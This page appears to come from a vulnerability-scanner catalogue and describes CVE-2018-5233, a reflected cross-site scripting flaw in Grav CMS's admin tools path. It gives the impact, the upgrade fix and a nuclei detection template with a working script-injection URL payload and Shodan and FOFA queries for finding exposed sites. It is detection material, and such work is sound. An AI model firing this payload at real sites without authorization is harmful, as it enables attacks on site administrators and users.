Grav CMS <1.3.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.7%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.

Impact

Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, administrative credentials, or performing actions on behalf of authenticated users.

Fix

Upgrade Grav CMS to version 1.3.0 or later, which includes proper input sanitization to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains "/themes/grav" or "Grav Admin Login" or "data-grav-" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-5233 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-5233

info:
  name: Grav CMS <1.3.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, administrative credentials, or performing actions on behalf of authenticated users.
  remediation: |
    Upgrade Grav CMS to version 1.3.0 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://sysdream.com/news/lab/2018-03-15-cve-2018-5233-grav-cms-admin-plugin-reflected-cross-site-scripting-xss-vulnerability/
    - http://www.openwall.com/lists/oss-security/2018/03/15/1
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5233
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-5233
    cwe-id: CWE-79
    epss-score: 0.03655
    epss-percentile: 0.89707
    cpe: cpe:2.3:a:getgrav:grav_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: getgrav
    product: grav_cms
    shodan-query:
      - html:"Grav CMS"
      - http.html:"grav cms"
    fofa-query: body="grav cms"
  tags: cve,cve2018,xss,grav,getgrav,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: body
        words:
          - '/themes/grav'
          - 'Grav Admin Login'
          - 'data-grav-'
        condition: or

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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